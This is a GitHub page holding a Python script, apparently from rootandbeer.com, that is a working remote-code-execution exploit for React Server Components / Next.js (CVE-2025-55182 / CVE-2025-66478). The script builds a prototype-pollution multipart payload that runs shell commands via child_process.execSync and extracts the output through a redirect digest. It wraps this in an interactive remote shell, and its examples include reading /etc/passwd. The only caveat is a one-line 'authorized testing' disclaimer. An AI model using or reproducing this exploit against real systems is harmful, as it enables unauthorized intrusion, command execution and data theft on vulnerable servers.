-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathreact2shell_exploit.py
More file actions
executable file
·374 lines (306 loc) · 12.1 KB
/
react2shell_exploit.py
File metadata and controls
executable file
·374 lines (306 loc) · 12.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
#!/usr/bin/env python3
"""
React2Shell RCE Exploit (CVE-2025-55182 / CVE-2025-66478)
Interactive shell for exploiting vulnerable React Server Components
This is a standalone script that automatically installs dependencies if needed.
No requirements.txt needed - just run it!
Usage:
python3 react2shell_exploit.py <target_url>
python3 react2shell_exploit.py http://172.16.238.129:3000
python3 react2shell_exploit.py http://vulnerable-host:3000 -c "whoami"
Author: rootandbeer.com
"""
# Auto-install dependencies if needed
import sys
try:
import requests
except ImportError:
print("[*] Installing required dependency: requests")
import subprocess
try:
subprocess.check_call([sys.executable, "-m", "pip", "install", "requests>=2.31.0", "-q"])
import requests
print("[+] Successfully installed requests\n")
except Exception as e:
print(f"[!] Failed to install requests: {e}")
print("[!] Please install manually: pip3 install requests")
sys.exit(1)
import argparse
import re
import urllib.parse
from typing import Optional
def create_exploit_payload(command: str, use_base64: bool = True) -> tuple[str, str]:
"""
Create the exploit payload for React2Shell RCE
Args:
command: Shell command to execute
use_base64: If True, base64 encode the command and output
Returns:
Tuple of (headers dict, body string)
"""
import base64
boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
if use_base64:
# Base64 encode the command to handle multi-line and special chars
encoded_cmd = base64.b64encode(command.encode()).decode()
# Execute: decode base64, run via sh, encode output as base64
shell_cmd = f"echo {encoded_cmd} | base64 -d | sh 2>&1 | base64 -w0"
# JavaScript payload that executes the command and extracts base64 output
js_payload = (
f"var res=process.mainModule.require('child_process').execSync('{shell_cmd}')"
".toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),"
"{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});"
)
else:
# Original payload without base64 (for backwards compatibility)
js_payload = (
f"var res=process.mainModule.require('child_process').execSync('{command}')"
".toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),"
"{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});"
)
# Construct multipart form data body
body = f"""--{boundary}\r
Content-Disposition: form-data; name="0"\r
\r
{{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{{\\"then\\":\\"$B1337\\"}}",
"_response": {{
"_prefix": "{js_payload}",
"_chunks": "$Q2",
"_formData": {{
"get": "$1:constructor:constructor"
}}
}}
}}\r
--{boundary}\r
Content-Disposition: form-data; name="1"\r
\r
"$@0"\r
--{boundary}\r
Content-Disposition: form-data; name="2"\r
\r
[]\r
--{boundary}--\r
"""
headers = {
"Next-Action": "x",
"Content-Type": f"multipart/form-data; boundary={boundary}",
}
return headers, body
def extract_command_output(response_text: str, response_headers: dict = None, is_base64: bool = True) -> Optional[str]:
"""
Extract command output from the response redirect digest
Args:
response_text: HTTP response body
response_headers: HTTP response headers
is_base64: If True, decode base64 output
Returns:
Extracted command output or None
"""
import base64
# First, try to extract from x-action-redirect header (newer Next.js behavior)
if response_headers and 'x-action-redirect' in response_headers:
redirect_header = response_headers['x-action-redirect']
# Pattern: /login?a=OUTPUT;push
pattern = r'/login\?a=([^;]+);push'
match = re.search(pattern, redirect_header)
if match:
output = match.group(1)
# URL decode the output
decoded = urllib.parse.unquote(output)
# If base64 encoded, decode it
if is_base64 and decoded:
try:
decoded = base64.b64decode(decoded).decode('utf-8', errors='replace')
except Exception:
pass # If decode fails, return url-decoded version
return decoded
# Fallback: Look for the redirect digest pattern in body: NEXT_REDIRECT;push;/login?a=OUTPUT;307
pattern = r'NEXT_REDIRECT;push;/login\?a=([^;]+);307'
match = re.search(pattern, response_text)
if match:
output = match.group(1)
# URL decode the output
decoded = urllib.parse.unquote(output)
# If base64 encoded, decode it
if is_base64 and decoded:
try:
decoded = base64.b64decode(decoded).decode('utf-8', errors='replace')
except Exception:
pass # If decode fails, return url-decoded version
return decoded
return None
def execute_command(target_url: str, command: str, verbose: bool = False, use_base64: bool = True) -> Optional[str]:
"""
Execute a command on the vulnerable target
Args:
target_url: Target URL (e.g., http://172.16.238.129:3000)
command: Shell command to execute
verbose: Print debug information
use_base64: If True, use base64 encoding for command and output
Returns:
Command output or None on failure
"""
headers, body = create_exploit_payload(command, use_base64=use_base64)
if verbose:
print(f"[*] Sending payload to {target_url}")
print(f"[*] Command: {command}")
try:
response = requests.post(
target_url,
headers=headers,
data=body,
timeout=10,
allow_redirects=False
)
if verbose:
print(f"[*] HTTP Status: {response.status_code}")
print(f"[*] Response length: {len(response.text)}")
# Extract output from the response (check headers first, then body)
output = extract_command_output(response.text, dict(response.headers), is_base64=use_base64)
if output:
return output
else:
if verbose:
print("[!] Could not extract command output from response")
print(f"[*] Response preview: {response.text[:500]}")
return None
except requests.exceptions.ConnectionError:
print(f"[!] Connection error: Could not connect to {target_url}")
return None
except requests.exceptions.Timeout:
print(f"[!] Timeout: Target did not respond within 10 seconds")
return None
except Exception as e:
print(f"[!] Error: {e}")
if verbose:
import traceback
traceback.print_exc()
return None
def interactive_shell(target_url: str, verbose: bool = False):
"""
Start an interactive shell session
Args:
target_url: Target URL
verbose: Print debug information
"""
print(f"[*] React2Shell Interactive Shell")
print(f"[*] Target: {target_url}")
print(f"[*] Type 'exit' or 'quit' to close the shell\n")
# Test connection with a simple command
print("[*] Testing connection...")
test_output = execute_command(target_url, "echo 'Connection successful'", verbose)
if test_output and "Connection successful" in test_output:
print("[+] Connection successful!\n")
else:
print("[!] Warning: Could not verify connection. The target may not be vulnerable.\n")
# Track current working directory
current_dir = None
while True:
try:
# Prompt for command (show current directory if known)
prompt = f"react2shell:{current_dir if current_dir else '~'}> " if current_dir else "react2shell> "
command = input(prompt).strip()
if not command:
continue
if command.lower() in ['exit', 'quit']:
print("[*] Exiting shell...")
break
# Handle cd command specially
if command.startswith('cd '):
target_path = command[3:].strip()
# If target path is provided
if target_path:
# Test if the directory exists and change to it
if target_path == '~' or target_path == '':
# Go to home directory
test_cmd = "cd ~ && pwd"
else:
# Go to specified directory
if current_dir:
test_cmd = f"cd {current_dir} && cd {target_path} && pwd"
else:
test_cmd = f"cd {target_path} && pwd"
output = execute_command(target_url, test_cmd, verbose)
if output and output.strip():
current_dir = output.strip()
# Don't print output for successful cd
else:
print("[!] Directory change failed or directory does not exist")
else:
# cd with no argument goes to home
output = execute_command(target_url, "cd ~ && pwd", verbose)
if output and output.strip():
current_dir = output.strip()
continue
# For other commands, prepend cd to current directory if set
if current_dir:
full_command = f"cd {current_dir} && {command}"
else:
full_command = command
# Execute the command
output = execute_command(target_url, full_command, verbose)
if output:
print(output)
else:
print("[!] No output received or command failed")
except KeyboardInterrupt:
print("\n[*] Interrupted. Use 'exit' to quit.")
continue
except EOFError:
print("\n[*] EOF detected. Exiting...")
break
def main():
parser = argparse.ArgumentParser(
description="React2Shell RCE Exploit - Interactive shell for CVE-2025-55182/CVE-2025-66478",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python3 react2shell_exploit.py http://172.16.238.129:3000
python3 react2shell_exploit.py http://vulnerable-host:3000 -c "whoami"
python3 react2shell_exploit.py http://vulnerable-host:3000 -c "cat /etc/passwd" -v
For educational and authorized testing purposes only.
"""
)
parser.add_argument(
"target",
help="Target URL (e.g., http://172.16.238.129:3000)"
)
parser.add_argument(
"-c", "--command",
help="Execute a single command and exit",
metavar="CMD"
)
parser.add_argument(
"-v", "--verbose",
action="store_true",
help="Enable verbose output"
)
args = parser.parse_args()
# Normalize target URL
target_url = args.target
if not target_url.startswith(('http://', 'https://')):
target_url = f"http://{target_url}"
# Remove trailing slash
target_url = target_url.rstrip('/')
print("[*] React2Shell RCE Exploit")
print("[*] CVE-2025-55182 / CVE-2025-66478")
print("[*] https://www.rootandbeer.com\n")
if args.command:
# Single command mode
if args.verbose:
print(f"[*] Single command mode")
output = execute_command(target_url, args.command, args.verbose)
if output:
print(output)
else:
print("[!] Command failed or no output received")
sys.exit(1)
else:
# Interactive shell mode
interactive_shell(target_url, args.verbose)
if __name__ == "__main__":
main()